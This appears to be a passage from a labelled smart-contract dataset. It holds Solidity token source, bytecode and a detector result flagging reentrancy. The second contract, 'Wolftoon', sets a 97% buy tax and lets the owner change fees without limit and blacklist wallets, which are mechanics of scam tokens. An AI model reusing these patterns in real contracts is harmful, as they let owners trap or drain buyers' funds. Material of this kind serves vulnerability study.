return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102d0578063b515566a146102f0578063c3c8cd8014610310578063c9567bf914610325578063dd62ed3e1461033a57600080fd5b806370a0823114610245578063715018a6146102655780638da5cb5b1461027a57806395d89b41146102a257600080fd5b8063273123b7116100d1578063273123b7146101d2578063313ce567146101f45780635932ead1146102105780636fc3eaec1461023057600080fd5b806306fdde031461010e578063095ea7b31461015957806318160ddd1461018957806323b872dd146101b257600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152601081526f426974636f696e46697865735468697360801b60208201525b60405161015091906117cf565b60405180910390f35b34801561016557600080fd5b5061017961017436600461166f565b610380565b6040519015158152602001610150565b34801561019557600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610150565b3480156101be57600080fd5b506101796101cd36600461162e565b610397565b3480156101de57600080fd5b506101f26101ed3660046115bb565b610400565b005b34801561020057600080fd5b5060405160098152602001610150565b34801561021c57600080fd5b506101f261022b366004611767565b610454565b34801561023c57600080fd5b506101f261049c565b34801561025157600080fd5b506101a46102603660046115bb565b6104c9565b34801561027157600080fd5b506101f26104eb565b34801561028657600080fd5b506000546040516001600160a01b039091168152602001610150565b3480156102ae57600080fd5b50604080518082019091526005815264464958455360d81b6020820152610143565b3480156102dc57600080fd5b506101796102eb36600461166f565b61055f565b3480156102fc57600080fd5b506101f261030b36600461169b565b61056c565b34801561031c57600080fd5b506101f2610602565b34801561033157600080fd5b506101f2610638565b34801561034657600080fd5b506101a46103553660046115f5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061038d338484610a01565b5060015b92915050565b60006103a4848484610b25565b6103f684336103f1856040518060600160405280602881526020016119bb602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e72565b610a01565b5060019392505050565b6000546001600160a01b031633146104335760405162461bcd60e51b815260040161042a90611824565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461047e5760405162461bcd60e51b815260040161042a90611824565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104bc57600080fd5b476104c681610eac565b50565b6001600160a01b03811660009081526002602052604081205461039190610f31565b6000546001600160a01b031633146105155760405162461bcd60e51b815260040161042a90611824565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061038d338484610b25565b6000546001600160a01b031633146105965760405162461bcd60e51b815260040161042a90611824565b60005b81518110156105fe576001600660008484815181106105ba576105ba61196b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f68161193a565b915050610599565b5050565b600c546001600160a01b0316336001600160a01b03161461062257600080fd5b600061062d306104c9565b90506104c681610fb5565b6000546001600160a01b031633146106625760405162461bcd60e51b815260040161042a90611824565b600f54600160a01b900460ff16156106bc5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161042a565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106fc30826b033b2e3c9fd0803ce8000000610a01565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561073557600080fd5b505afa158015610749573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076d91906115d8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107b557600080fd5b505afa1580156107c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ed91906115d8565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561083557600080fd5b505af1158015610849573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086d91906115d8565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061089d816104c9565b6000806108b26000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561091557600080fd5b505af1158015610929573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061094e91906117a1565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109c957600080fd5b505af11580156109dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105fe9190611784565b6001600160a01b038316610a635760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042a565b6001600160a01b038216610ac45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161042a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b895760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161042a565b6001600160a01b038216610beb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161042a565b60008111610c4d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161042a565b6002600a556008600b556000546001600160a01b03848116911614801590610c8357506000546001600160a01b03838116911614155b15610e62576001600160a01b03831660009081526006602052604090205460ff16158015610cca57506001600160a01b03821660009081526006602052604090205460ff16155b610cd357600080fd5b600f546001600160a01b038481169116148015610cfe5750600e546001600160a01b03838116911614155b8015610d2357506001600160a01b03821660009081526005602052604090205460ff16155b8015610d385750600f54600160b81b900460ff165b15610d9557601054811115610d4c57600080fd5b6001600160a01b0382166000908152600760205260409020544211610d7057600080fd5b610d7b42601e6118ca565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610dc05750600e546001600160a01b03848116911614155b8015610de557506001600160a01b03831660009081526005602052604090205460ff16155b15610df5576002600a908155600b555b6000610e00306104c9565b600f54909150600160a81b900460ff16158015610e2b5750600f546001600160a01b03858116911614155b8015610e405750600f54600160b01b900460ff165b15610e6057610e4e81610fb5565b478015610e5e57610e5e47610eac565b505b505b610e6d83838361113e565b505050565b60008184841115610e965760405162461bcd60e51b815260040161042a91906117cf565b506000610ea38486611923565b95945050505050565b600c546001600160a01b03166108fc610ec6836002611149565b6040518115909202916000818181858888f19350505050158015610eee573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f09836002611149565b6040518115909202916000818181858888f193505050501580156105fe573d6000803e3d6000fd5b6000600854821115610f985760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161042a565b6000610fa261118b565b9050610fae8382611149565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ffd57610ffd61196b565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561105157600080fd5b505afa158015611065573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108991906115d8565b8160018151811061109c5761109c61196b565b6001600160a01b039283166020918202929092010152600e546110c29130911684610a01565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110fb908590600090869030904290600401611859565b600060405180830381600087803b15801561111557600080fd5b505af1158015611129573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e6d8383836111ae565b6000610fae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112a5565b60008060006111986112d3565b90925090506111a78282611149565b9250505090565b6000806000806000806111c08761131b565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111f29087611378565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461122190866113ba565b6001600160a01b03891660009081526002602052604090205561124381611419565b61124d8483611463565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161129291815260200190565b60405180910390a3505050505050505050565b600081836112c65760405162461bcd60e51b815260040161042a91906117cf565b506000610ea384866118e2565b60085460009081906b033b2e3c9fd0803ce80000006112f28282611149565b821015611312575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113388a600a54600b54611487565b925092509250600061134861118b565b9050600080600061135b8e8787876114dc565b919e509c509a509598509396509194505050505091939550919395565b6000610fae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e72565b6000806113c783856118ca565b905083811015610fae5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161042a565b600061142361118b565b90506000611431838361152c565b3060009081526002602052604090205490915061144e90826113ba565b30600090815260026020526040902055505050565b6008546114709083611378565b60085560095461148090826113ba565b6009555050565b60008080806114a1606461149b898961152c565b90611149565b905060006114b4606461149b8a8961152c565b905060006114cc826114c68b86611378565b90611378565b9992985090965090945050505050565b60008080806114eb888661152c565b905060006114f9888761152c565b90506000611507888861152c565b90506000611519826114c68686611378565b939b939a50919850919650505050505050565b60008261153b57506000610391565b60006115478385611904565b90508261155485836118e2565b14610fae5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161042a565b80356115b681611997565b919050565b6000602082840312156115cd57600080fd5b8135610fae81611997565b6000602082840312156115ea57600080fd5b8151610fae81611997565b6000806040838503121561160857600080fd5b823561161381611997565b9150602083013561162381611997565b809150509250929050565b60008060006060848603121561164357600080fd5b833561164e81611997565b9250602084013561165e81611997565b929592945050506040919091013590565b6000806040838503121561168257600080fd5b823561168d81611997565b946020939093013593505050565b600060208083850312156116ae57600080fd5b823567ffffffffffffffff808211156116c657600080fd5b818501915085601f8301126116da57600080fd5b8135818111156116ec576116ec611981565b8060051b604051601f19603f8301168101818110858211171561171157611711611981565b604052828152858101935084860182860187018a101561173057600080fd5b600095505b8386101561175a57611746816115ab565b855260019590950194938601938601611735565b5098975050505050505050565b60006020828403121561177957600080fd5b8135610fae816119ac565b60006020828403121561179657600080fd5b8151610fae816119ac565b6000806000606084860312156117b657600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156117fc578581018301518582016040015282016117e0565b8181111561180e576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118a95784516001600160a01b031683529383019391830191600101611884565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118dd576118dd611955565b500190565b6000826118ff57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561191e5761191e611955565b500290565b60008282101561193557611935611955565b500390565b600060001982141561194e5761194e611955565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104c657600080fd5b80151581146104c657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ba68da79d7d2406f2783d24163661c1b77c8ecf3095dbcff6a8f79306cb5815b64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,072 |
0x5cfb17420ad5eeb8f5390f3370f18784f136c399
|
/**
*Submitted for verification at Etherscan.io on 2022-03-26
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Wolftoon is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Wolftoon";
string private constant _symbol = "WOLF";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 97;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 13;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x86c415F8Ddf9D33C0363ea949700c387Ca9C5A24);
address payable private _marketingAddress = payable(0x86c415F8Ddf9D33C0363ea949700c387Ca9C5A24);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = true;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 5000 * 10**9;
uint256 public _maxWalletSize = 20000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
